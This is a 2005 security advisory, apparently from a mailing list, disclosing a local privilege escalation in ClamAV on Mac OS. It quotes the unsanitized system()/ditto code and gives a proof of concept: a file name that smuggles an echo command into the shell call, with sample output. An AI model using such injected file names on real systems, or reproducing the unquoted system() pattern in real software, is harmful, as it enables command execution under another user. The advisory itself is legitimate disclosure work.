[NEWS] ClamAV Local Privilege Escalation (MacOS)

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To: list@securiteam.com
Date: 31 May 2005 19:06:08 +0200

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  ClamAV Local Privilege Escalation (MacOS)
------------------------------------------------------------------------

SUMMARY

" <http://www.clamav.net/abstract.html> Clam AntiVirus is a GPL anti-virus
toolkit for UNIX. The main purpose of this software is the integration
with mail servers (attachment scanning). The package provides a flexible
and scalable multi-threaded daemon, a command line scanner, and a tool for
automatic updating via Internet. The programs are based on a shared
library distributed with the Clam AntiVirus package, which you can use
with your own software."

A vulnerability was discovered in ClamAV, exploiting this vulnerability
allows a local attacker on a MacOS system to elevate privileges to that of
a user running a ClamAV process.

DETAILS

Vulnerable Systems:
 * ClamAV versions 0.80rc4 through 0.84rc2

Immune Systems:
 * ClamAV versions 0.84 and newer

Under the Mac OS file system (HFS) files are saved as to parts data and
resource fork. In ClamAV version 0.80rc4, support was added to copy both
the data and the resource fork when moving a virus infected file. The
mechanism they used was the Mac local system utility ditto. While there
isn't a security issue with using the "ditto" command itself, the system()
call they use to execute it is insecure.

From the function filecopy(), in the file shared/misc.c:
..
#ifdef C_DARWIN
    /* On Mac OS X use ditto and copy resource fork, too. */
    char *ditto = (char *) mcalloc(strlen(src) + strlen(dest) + 30,\
                                   sizeof(char));
    sprintf(ditto, "/usr/bin/ditto --rsrc %s %s", src, dest);

    if(system(ditto)) {
        free(ditto);
        return -1;
    }
..

This code does not check the filename for shell special characters, or
quote existing ones. If a file name contains an embedded shell command the
system() will execute it as the ClamAV current UID.

Example:
An example attack is as follows:
Download a test virus <http://www.eicar.org/download/eicar.com>
http://www.eicar.org/download/eicar.com

And rename it like so:
$ mv eicar.com \;echo\ \"test\"\;

If the clam user does not have permissions to remove the file it will try
and copy the file and the resource fork via the ditto system call. The
command it will execute in this case is:
system("/usr/bin/ditto -rsrc ;echo "test"; /tmp/;echo "test" ");

The shell will interpret the ';echo "test"; 's a separate command and
execute it. The following is some sample output:
$ sudo -u nobody clamscan . --debug --move=/tmp
..
LibClamAV debug: Eicar-Test-Signature found in descriptor 6.
/;echo "test";: Eicar-Test-Signature FOUND
usage: ditto [ <options> ] src [ ... src ] dst
    <options> are any of:
    -v print a line of status for each src copied
    -V print a line of status for every file copied
    -X do not descend into directories with a different
                    device ID
    -c create a CPIO archive at dst
    -x unpack the CPIO archives at src...
    -z CPIO archives are compressed
    -k archives are PKZip format
    --keepParent parent directory of src is embedded in dst

    --arch archVal fat files will be thinned to specified archVal
                    multiple -arch options can be specified
                    archVal should be one of "ppc", "i386", etc
    --bom bomFile only files present in the specified bom are copied
    --rsrc copy preserving resource data
    --sequesterRsrc copy resources via polite directory (PKZip only)
test
..

The usage statement above is produced because in this case, ditto's call
doesn't have the correct command line options. Afterward, "test" is
printed, as expected.

The conditions under which this can be exploited are very limited. A
ClamAV process must be configured to move files to a quarantine in order
for the ditto call to be used. In addition, this call only appears to be
used if a file move operation fails, at which point the file is then
copied. Once again, due to the #define used in the affected function, only
Mac OS installations are affected.

Disclosure Timeline:
31.03.05 - Initial Discovery
03.04.05 - ClamAV Team Notified
29.04.05 - Version 0.84 Released
27.05.05 - Public Disclosure

ADDITIONAL INFORMATION

The information has been provided by
<mailto:tim-security@sentinelchicken.org> Tim.
The original article can be found at:
<http://www.sentinelchicken.com/advisories/clamav/>
http://www.sentinelchicken.com/advisories/clamav/

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